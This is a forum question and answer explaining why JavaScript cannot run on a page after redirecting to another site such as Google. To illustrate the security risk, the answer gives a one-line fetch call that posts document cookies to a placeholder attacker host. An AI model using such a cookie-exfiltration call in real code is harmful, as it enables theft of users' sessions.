How to change the styling of a web page after being redirected from a previous web page

Viewed 33

I am redirecting the user from first.html page to some other url(for eg: google.com). After the user is redirected, I want to make changes in the current webpage.

window.location.href = "https://google.com"
window.onload=function(){ 
        document.getElementById('content').innerHTML = "Change the text"
        console.log("****")
        
        }

The problem is that there is no change in the text. Also **** is not printed in console. What is going wrong ?

1 Answers

JavaScript, running in a webpage, runs in that webpage.

When the browser navigates to a new page the previous page (which is the execution environment for the JS) goes away and any outstanding JS is terminated.

If you want to JavaScript on the page you navigate to then it must be loaded into that page.

If you want to run it conditionally then you can, for example, add a query string to the URL you are visiting and have the second page's JS read the query string to see if it should do something or not.

Obviously you can't do that when the page you are navigating to is Google because you don't control it.

It would be a major security problem is you could because the JS you could execute might be, to take a simplistic example fetch('http://your-evil-site.example.com/hackGoogle', { method: 'post', body: document.cookies }).

Related